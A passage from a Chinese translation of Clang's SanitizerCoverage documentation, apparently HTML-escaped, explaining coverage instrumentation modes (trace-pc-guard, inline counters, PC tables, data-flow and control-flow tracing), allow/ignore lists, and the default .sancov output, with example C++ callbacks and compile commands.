&lt;p&gt;每个边缘将拥有自己的 guard_variable（uint32_t）。&lt;&#x2F;p&gt;
&lt;p&gt;编译器还将插入对模块构造函数的调用&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; The guards are [start, stop).
&amp;#x2F;&amp;#x2F; This function will be called at least once per DSO and may be called
&amp;#x2F;&amp;#x2F; more than once with the same values of start&amp;#x2F;stop.
__sanitizer_cov_trace_pc_guard_init(uint32_t *start, uint32_t *stop);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用额外的 &lt;code&gt;...=trace-pc,indirect-calls&lt;&#x2F;code&gt; 标志，&lt;code&gt;__sanitizer_cov_trace_pc_indirect(void *callee)&lt;&#x2F;code&gt; 将在每个间接调用中插入。&lt;&#x2F;p&gt;
&lt;p&gt;函数 __sanitizer_cov_trace_pc_* 应该由用户定义。&lt;&#x2F;p&gt;
&lt;p&gt;示例&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; trace-pc-guard-cb.cc
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sanitizer&amp;#x2F;coverage_interface.h&amp;gt;

&amp;#x2F;&amp;#x2F; This callback is inserted by the compiler as a module constructor
&amp;#x2F;&amp;#x2F; into every DSO. &amp;#x27;start&amp;#x27; and &amp;#x27;stop&amp;#x27; correspond to the
&amp;#x2F;&amp;#x2F; beginning and end of the section with the guards for the entire
&amp;#x2F;&amp;#x2F; binary (executable or DSO). The callback will be called at least
&amp;#x2F;&amp;#x2F; once per DSO and may be called multiple times with the same parameters.
extern &amp;quot;C&amp;quot; void __sanitizer_cov_trace_pc_guard_init(uint32_t *start,
                                                    uint32_t *stop) {
  static uint64_t N;  &amp;#x2F;&amp;#x2F; Counter for the guards.
  if (start == stop || *start) return;  &amp;#x2F;&amp;#x2F; Initialize only once.
  printf(&amp;quot;INIT: %p %p\n&amp;quot;, start, stop);
  for (uint32_t *x = start; x &amp;lt; stop; x++)
    *x = ++N;  &amp;#x2F;&amp;#x2F; Guards should start from 1.
}

&amp;#x2F;&amp;#x2F; This callback is inserted by the compiler on every edge in the
&amp;#x2F;&amp;#x2F; control flow (some optimizations apply).
&amp;#x2F;&amp;#x2F; Typically, the compiler will emit the code like this:
&amp;#x2F;&amp;#x2F;    if(*guard)
&amp;#x2F;&amp;#x2F;      __sanitizer_cov_trace_pc_guard(guard);
&amp;#x2F;&amp;#x2F; But for large functions it will emit a simple call:
&amp;#x2F;&amp;#x2F;    __sanitizer_cov_trace_pc_guard(guard);
extern &amp;quot;C&amp;quot; void __sanitizer_cov_trace_pc_guard(uint32_t *guard) {
  if (!*guard) return;  &amp;#x2F;&amp;#x2F; Duplicate the guard check.
  &amp;#x2F;&amp;#x2F; If you set *guard to 0 this code will not be called again for this edge.
  &amp;#x2F;&amp;#x2F; Now you can get the PC and do whatever you want:
  &amp;#x2F;&amp;#x2F;   store it somewhere or symbolize it and print right away.
  &amp;#x2F;&amp;#x2F; The values of `*guard` are as you set them in
  &amp;#x2F;&amp;#x2F; __sanitizer_cov_trace_pc_guard_init and so you can make them consecutive
  &amp;#x2F;&amp;#x2F; and use them to dereference an array or a bit vector.
  void *PC = __builtin_return_address(0);
  char PcDescr[1024];
  &amp;#x2F;&amp;#x2F; This function is a part of the sanitizer run-time.
  &amp;#x2F;&amp;#x2F; To use it, link with AddressSanitizer or other sanitizer.
  __sanitizer_symbolize_pc(PC, &amp;quot;%p %F %L&amp;quot;, PcDescr, sizeof(PcDescr));
  printf(&amp;quot;guard: %p %x PC %s\n&amp;quot;, guard, *guard, PcDescr);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; trace-pc-guard-example.cc
void foo() { }
int main(int argc, char **argv) {
  if (argc &amp;gt; 1) foo();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;clang++ -g  -fsanitize-coverage=trace-pc-guard trace-pc-guard-example.cc -c
clang++ trace-pc-guard-cb.cc trace-pc-guard-example.o -fsanitize=address
ASAN_OPTIONS=strip_path_prefix=`pwd`&amp;#x2F; .&amp;#x2F;a.out
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;INIT: 0x71bcd0 0x71bce0
guard: 0x71bcd4 2 PC 0x4ecd5b in main trace-pc-guard-example.cc:2
guard: 0x71bcd8 3 PC 0x4ecd9e in main trace-pc-guard-example.cc:3:7
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;ASAN_OPTIONS=strip_path_prefix=`pwd`&amp;#x2F; .&amp;#x2F;a.out with-foo
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;INIT: 0x71bcd0 0x71bce0
guard: 0x71bcd4 2 PC 0x4ecd5b in main trace-pc-guard-example.cc:3
guard: 0x71bcdc 4 PC 0x4ecdc7 in main trace-pc-guard-example.cc:4:17
guard: 0x71bcd0 1 PC 0x4ecd20 in foo() trace-pc-guard-example.cc:2:14
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;nei-lian-8-wei-ji-shu-qi-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#id3&quot;&gt;内联 8 位计数器&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#inline-8bit-counters&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;实验性功能，可能在将来发生变化或消失&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;使用 &lt;code&gt;-fsanitize-coverage=inline-8bit-counters&lt;&#x2F;code&gt;，编译器将在每个边缘插入内联计数器增量。这类似于 &lt;code&gt;-fsanitize-coverage=trace-pc-guard&lt;&#x2F;code&gt;，但检测机制不是回调，而是简单地增加计数器。&lt;&#x2F;p&gt;
&lt;p&gt;用户需要实现单个函数来在启动时捕获计数器。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;extern &amp;quot;C&amp;quot;
void __sanitizer_cov_8bit_counters_init(char *start, char *end) {
  &amp;#x2F;&amp;#x2F; [start,end) is the array of 8-bit counters created for the current DSO.
  &amp;#x2F;&amp;#x2F; Capture this array in order to read&amp;#x2F;modify the counters.
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;nei-lian-bu-er-biao-zhi-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#id4&quot;&gt;内联布尔标志&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#inline-bool-flag&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;实验性功能，可能在将来发生变化或消失&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;使用 &lt;code&gt;-fsanitize-coverage=inline-bool-flag&lt;&#x2F;code&gt;，编译器将在每个边缘插入将内联布尔值设置为 true 的操作。这类似于 &lt;code&gt;-fsanitize-coverage=inline-8bit-counter&lt;&#x2F;code&gt;，但它不是增加计数器，而是将布尔值设置为 true。&lt;&#x2F;p&gt;
&lt;p&gt;用户需要实现单个函数来在启动时捕获标志。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;extern &amp;quot;C&amp;quot;
void __sanitizer_cov_bool_flag_init(bool *start, bool *end) {
  &amp;#x2F;&amp;#x2F; [start,end) is the array of boolean flags created for the current DSO.
  &amp;#x2F;&amp;#x2F; Capture this array in order to read&amp;#x2F;modify the flags.
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pc-biao-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#id5&quot;&gt;PC 表&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#pc-table&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;实验性功能，可能在将来发生变化或消失&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;  此检测机制可能与除 LLD 以外的链接器的死代码剥离 (&lt;code&gt;-Wl,-gc-sections&lt;&#x2F;code&gt;) 不兼容，因此会导致二进制文件大小增加。有关更多信息，请参阅 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bugs.llvm.org&#x2F;show_bug.cgi?id=34636&quot;&gt;Bug 34636&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;使用 &lt;code&gt;-fsanitize-coverage=pc-table&lt;&#x2F;code&gt;，编译器将创建一个检测 PC 表。需要 &lt;code&gt;-fsanitize-coverage=inline-8bit-counters&lt;&#x2F;code&gt; 或 &lt;code&gt;-fsanitize-coverage=inline-bool-flag&lt;&#x2F;code&gt; 或 &lt;code&gt;-fsanitize-coverage=trace-pc-guard&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;用户需要实现单个函数来在启动时捕获 PC 表&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;extern &amp;quot;C&amp;quot;
void __sanitizer_cov_pcs_init(const uintptr_t *pcs_beg,
                              const uintptr_t *pcs_end) {
  &amp;#x2F;&amp;#x2F; [pcs_beg,pcs_end) is the array of ptr-sized integers representing
  &amp;#x2F;&amp;#x2F; pairs [PC,PCFlags] for every instrumented block in the current DSO.
  &amp;#x2F;&amp;#x2F; Capture this array in order to read the PCs and their Flags.
  &amp;#x2F;&amp;#x2F; The number of PCs and PCFlags for a given DSO is the same as the number
  &amp;#x2F;&amp;#x2F; of 8-bit counters (-fsanitize-coverage=inline-8bit-counters), or
  &amp;#x2F;&amp;#x2F; boolean flags (-fsanitize-coverage=inline=bool-flags), or trace_pc_guard
  &amp;#x2F;&amp;#x2F; callbacks (-fsanitize-coverage=trace-pc-guard).
  &amp;#x2F;&amp;#x2F; A PCFlags describes the basic block:
  &amp;#x2F;&amp;#x2F;  * bit0: 1 if the block is the function entry block, 0 otherwise.
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;gen-zong-pcp&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#id6&quot;&gt;跟踪 PC&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#tracing-pcs&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;使用 &lt;code&gt;-fsanitize-coverage=trace-pc&lt;&#x2F;code&gt;，编译器将在每个边缘插入 &lt;code&gt;__sanitizer_cov_trace_pc()&lt;&#x2F;code&gt;。使用额外的 &lt;code&gt;...=trace-pc,indirect-calls&lt;&#x2F;code&gt; 标志，&lt;code&gt;__sanitizer_cov_trace_pc_indirect(void *callee)&lt;&#x2F;code&gt; 将在每个间接调用中插入。这些回调在消毒器运行时未实现，应由用户定义。此机制用于对 Linux 内核进行模糊测试 (&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;google&#x2F;syzkaller&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;google&#x2F;syzkaller&lt;&#x2F;a&gt;).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jian-ce-dian-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#id7&quot;&gt;检测点&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#instrumentation-points&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;消毒器覆盖率提供了不同的检测级别。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;edge&lt;&#x2F;code&gt;（默认）：检测边缘（见下文）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;bb&lt;&#x2F;code&gt;：检测基本块。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;func&lt;&#x2F;code&gt;：仅检测每个函数的入口块。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;将这些标志与 &lt;code&gt;trace-pc-guard&lt;&#x2F;code&gt; 或 &lt;code&gt;trace-pc&lt;&#x2F;code&gt; 一起使用，例如：&lt;code&gt;-fsanitize-coverage=func,trace-pc-guard&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;当使用 &lt;code&gt;edge&lt;&#x2F;code&gt; 或 &lt;code&gt;bb&lt;&#x2F;code&gt; 时，如果检测被认为是多余的，则某些边缘&#x2F;块可能仍然不会被检测（修剪）。使用 &lt;code&gt;no-prune&lt;&#x2F;code&gt;（例如 &lt;code&gt;-fsanitize-coverage=bb,no-prune,trace-pc-guard&lt;&#x2F;code&gt;）来禁用修剪。这对于更好的覆盖率可视化可能会有用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;bian-yuan-fu-gai-lu-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#id8&quot;&gt;边缘覆盖率&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#edge-coverage&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;考虑以下代码&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;void foo(int *a) {
  if (a)
    *a = 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;它包含 3 个基本块，我们将其命名为 A、B、C&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;A
|\
| \
|  B
| &amp;#x2F;
|&amp;#x2F;
C
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果块 A、B 和 C 都已覆盖，我们就能确定边缘 A=&amp;gt;B 和 B=&amp;gt;C 已执行，但我们仍然不知道边缘 A=&amp;gt;C 是否已执行。控制流图的这种边缘称为 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Control_flow_graph#Special_edges&quot;&gt;关键边缘&lt;&#x2F;a&gt;。边缘级覆盖率只需通过引入新的虚拟块来拆分所有关键边缘，然后检测这些块&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;A
|\
| \
D  B
| &amp;#x2F;
|&amp;#x2F;
C
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;gen-zong-shu-ju-liu-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#id9&quot;&gt;跟踪数据流&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#tracing-data-flow&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;支持数据流引导的模糊测试。使用 &lt;code&gt;-fsanitize-coverage=trace-cmp&lt;&#x2F;code&gt;，编译器将在比较指令和 switch 语句周围插入额外的检测机制。类似地，使用 &lt;code&gt;-fsanitize-coverage=trace-div&lt;&#x2F;code&gt;，编译器将检测整数除法指令（以捕获除法的右侧参数），使用 &lt;code&gt;-fsanitize-coverage=trace-gep&lt;&#x2F;code&gt; – &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;llvm.net.cn&#x2F;docs&#x2F;GetElementPtr.html&quot;&gt;LLVM GEP 指令&lt;&#x2F;a&gt;（以捕获数组索引）。类似地，使用 &lt;code&gt;-fsanitize-coverage=trace-loads&lt;&#x2F;code&gt; 和 &lt;code&gt;-fsanitize-coverage=trace-stores&lt;&#x2F;code&gt;，编译器将分别检测加载和存储。&lt;&#x2F;p&gt;
&lt;p&gt;目前，这些标志无法单独使用 - 它们需要 &lt;code&gt;-fsanitize-coverage={trace-pc,inline-8bit-counters,inline-bool}&lt;&#x2F;code&gt; 标志中的一个才能工作。&lt;&#x2F;p&gt;
&lt;p&gt;除非提供 &lt;code&gt;no-prune&lt;&#x2F;code&gt; 选项，否则某些比较指令将不会被检测。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; Called before a comparison instruction.
&amp;#x2F;&amp;#x2F; Arg1 and Arg2 are arguments of the comparison.
void __sanitizer_cov_trace_cmp1(uint8_t Arg1, uint8_t Arg2);
void __sanitizer_cov_trace_cmp2(uint16_t Arg1, uint16_t Arg2);
void __sanitizer_cov_trace_cmp4(uint32_t Arg1, uint32_t Arg2);
void __sanitizer_cov_trace_cmp8(uint64_t Arg1, uint64_t Arg2);

&amp;#x2F;&amp;#x2F; Called before a comparison instruction if exactly one of the arguments is constant.
&amp;#x2F;&amp;#x2F; Arg1 and Arg2 are arguments of the comparison, Arg1 is a compile-time constant.
&amp;#x2F;&amp;#x2F; These callbacks are emitted by -fsanitize-coverage=trace-cmp since 2017-08-11
void __sanitizer_cov_trace_const_cmp1(uint8_t Arg1, uint8_t Arg2);
void __sanitizer_cov_trace_const_cmp2(uint16_t Arg1, uint16_t Arg2);
void __sanitizer_cov_trace_const_cmp4(uint32_t Arg1, uint32_t Arg2);
void __sanitizer_cov_trace_const_cmp8(uint64_t Arg1, uint64_t Arg2);

&amp;#x2F;&amp;#x2F; Called before a switch statement.
&amp;#x2F;&amp;#x2F; Val is the switch operand.
&amp;#x2F;&amp;#x2F; Cases[0] is the number of case constants.
&amp;#x2F;&amp;#x2F; Cases[1] is the size of Val in bits.
&amp;#x2F;&amp;#x2F; Cases[2:] are the case constants.
void __sanitizer_cov_trace_switch(uint64_t Val, uint64_t *Cases);

&amp;#x2F;&amp;#x2F; Called before a division statement.
&amp;#x2F;&amp;#x2F; Val is the second argument of division.
void __sanitizer_cov_trace_div4(uint32_t Val);
void __sanitizer_cov_trace_div8(uint64_t Val);

&amp;#x2F;&amp;#x2F; Called before a GetElemementPtr (GEP) instruction
&amp;#x2F;&amp;#x2F; for every non-constant array index.
void __sanitizer_cov_trace_gep(uintptr_t Idx);

&amp;#x2F;&amp;#x2F; Called before a load of appropriate size. Addr is the address of the load.
void __sanitizer_cov_load1(uint8_t *addr);
void __sanitizer_cov_load2(uint16_t *addr);
void __sanitizer_cov_load4(uint32_t *addr);
void __sanitizer_cov_load8(uint64_t *addr);
void __sanitizer_cov_load16(__int128 *addr);
&amp;#x2F;&amp;#x2F; Called before a store of appropriate size. Addr is the address of the store.
void __sanitizer_cov_store1(uint8_t *addr);
void __sanitizer_cov_store2(uint16_t *addr);
void __sanitizer_cov_store4(uint32_t *addr);
void __sanitizer_cov_store8(uint64_t *addr);
void __sanitizer_cov_store16(__int128 *addr);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;gen-zong-kong-zhi-liu-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#id10&quot;&gt;跟踪控制流&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#tracing-control-flow&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;使用 &lt;code&gt;-fsanitize-coverage=control-flow&lt;&#x2F;code&gt;，编译器将创建一个表来收集每个函数的控制流。更具体地说，对于函数中的每个基本块，将填充两个列表。一个用于基本块的后继，另一个用于非内联调用的函数。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;待办事项：&lt;&#x2F;strong&gt;  在当前实现中，间接调用未被跟踪，仅在列表中使用特殊值 (-1) 标记。&lt;&#x2F;p&gt;
&lt;p&gt;每个表行由基本块地址、后继列表和被调用者列表组成，这些列表以 &lt;code&gt;null&lt;&#x2F;code&gt; 结尾。该表被编码在一个名为 &lt;code&gt;sancov_cfs&lt;&#x2F;code&gt; 的特殊节中&lt;&#x2F;p&gt;
&lt;p&gt;示例&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int foo (int x) {
  if (x &amp;gt; 0)
    bar(x);
  else
    x = 0;
  return x;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面的代码包含 4 个基本块，我们将其命名为 A、B、C、D&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;A
|\
| \
B  C
| &amp;#x2F;
|&amp;#x2F;
D
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;收集的控制流表如下：&lt;code&gt;A, B, C, null, null, B, D, null, @bar, null, C, D, null, null, D, null, null.&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;用户需要实现单个函数来在启动时捕获 CF 表&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;extern &amp;quot;C&amp;quot;
void __sanitizer_cov_cfs_init(const uintptr_t *cfs_beg,
                              const uintptr_t *cfs_end) {
  &amp;#x2F;&amp;#x2F; [cfs_beg,cfs_end) is the array of ptr-sized integers representing
  &amp;#x2F;&amp;#x2F; the collected control flow.
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;shi-yong-attribute-no-sanitize-coverage-jin-yong-jian-ce-p&quot;&gt;使用 &lt;code&gt;__attribute__((no_sanitize(&quot;coverage&quot;)))&lt;&#x2F;code&gt; 禁用检测&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#disabling-instrumentation-with-attribute-no-sanitize-coverage&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;可以通过函数属性 &lt;code&gt;__attribute__((no_sanitize(&quot;coverage&quot;)))&lt;&#x2F;code&gt; 禁用对选定函数的覆盖率检测。由于其他编译器可能不支持此属性，建议将其与 &lt;code&gt;__has_feature(coverage_sanitizer)&lt;&#x2F;code&gt; 结合使用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zai-bu-xiu-gai-yuan-dai-ma-de-qing-kuang-xia-jin-yong-jian-ce-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#id12&quot;&gt;在不修改源代码的情况下禁用检测&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#disabling-instrumentation-without-source-modification&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;有时需要告诉消毒器覆盖率仅检测目标中的部分函数，而无需修改源文件。使用 &lt;code&gt;-fsanitize-coverage-allowlist=allowlist.txt&lt;&#x2F;code&gt; 和 &lt;code&gt;-fsanitize-coverage-ignorelist=blocklist.txt&lt;&#x2F;code&gt;，您可以通过允许列表和阻止列表的组合来指定此子集。&lt;&#x2F;p&gt;
&lt;p&gt;消毒器覆盖率将仅检测满足两个条件的函数。首先，该函数应属于路径既在允许列表中又不在阻止列表中的源文件。其次，该函数应具有既在允许列表中又不在阻止列表中的混淆名称。&lt;&#x2F;p&gt;
&lt;p&gt;允许列表和阻止列表的格式类似于消毒器阻止列表格式。默认允许列表将匹配每个源文件和每个函数。默认阻止列表将不匹配任何源文件和任何函数。&lt;&#x2F;p&gt;
&lt;p&gt;一个常见的用例是让允许列表列出您想要检测的文件夹或源文件，并允许所有函数名称，而阻止列表将选择退出允许列表松散允许的某些特定文件或函数。&lt;&#x2F;p&gt;
&lt;p&gt;以下是一个允许列表示例&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# Enable instrumentation for a whole folder
src:bar&amp;#x2F;*
# Enable instrumentation for a specific source file
src:foo&amp;#x2F;a.cpp
# Enable instrumentation for all functions in those files
fun:*
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;以下是一个阻止列表示例&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# Disable instrumentation for a specific source file that the allowlist allowed
src:bar&amp;#x2F;b.cpp
# Disable instrumentation for a specific function that the allowlist allowed
fun:*myFunc*
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面的 &lt;code&gt;*&lt;&#x2F;code&gt; 通配符的使用是必需的，因为函数名称是在混淆后匹配的。如果没有通配符，您将不得不编写整个混淆名称。&lt;&#x2F;p&gt;
&lt;p&gt;请注意，源文件的路径将与在 clang 命令行上提供的路径完全匹配。例如，上面的允许列表将包含文件 &lt;code&gt;bar&#x2F;b.cpp&lt;&#x2F;code&gt;，前提是路径以这种方式提供，但它将无法包含其他引用同一文件的路径，例如 &lt;code&gt;.&#x2F;bar&#x2F;b.cpp&lt;&#x2F;code&gt; 或 Windows 上的 &lt;code&gt;bar\b.cpp&lt;&#x2F;code&gt;。因此，请务必始终仔细检查您的列表是否正确应用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;mo-ren-shi-xian-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#id13&quot;&gt;默认实现&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#default-implementation&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;消毒剂运行时（AddressSanitizer、MemorySanitizer 等）提供了一些覆盖回调的默认实现。您可以使用此实现将覆盖信息在进程退出时转储到磁盘。&lt;&#x2F;p&gt;
&lt;p&gt;示例&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;% cat -n cov.cc
     1  #include &amp;lt;stdio.h&amp;gt;
     2  __attribute__((noinline))
     3  void foo() { printf(&amp;quot;foo\n&amp;quot;); }
     4
     5  int main(int argc, char **argv) {
     6    if (argc == 2)
     7      foo();
     8    printf(&amp;quot;main\n&amp;quot;);
     9  }
% clang++ -g cov.cc -fsanitize=address -fsanitize-coverage=trace-pc-guard
% ASAN_OPTIONS=coverage=1 .&amp;#x2F;a.out; wc -c *.sancov
main
SanitizerCoverage: .&amp;#x2F;a.out.7312.sancov 2 PCs written
24 a.out.7312.sancov
% ASAN_OPTIONS=coverage=1 .&amp;#x2F;a.out foo ; wc -c *.sancov
foo
main
SanitizerCoverage: .&amp;#x2F;a.out.7316.sancov 3 PCs written
24 a.out.7312.sancov
32 a.out.7316.sancov
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;每次运行使用 SanitizerCoverage 进行代码插桩的可执行文件时，会在进程关闭期间创建 &lt;code&gt;*.sancov&lt;&#x2F;code&gt; 文件。如果可执行文件与经过插桩的 DSO 动态链接，那么也会为每个 DSO 创建一个 &lt;code&gt;*.sancov&lt;&#x2F;code&gt; 文件。&lt;&#x2F;p&gt;
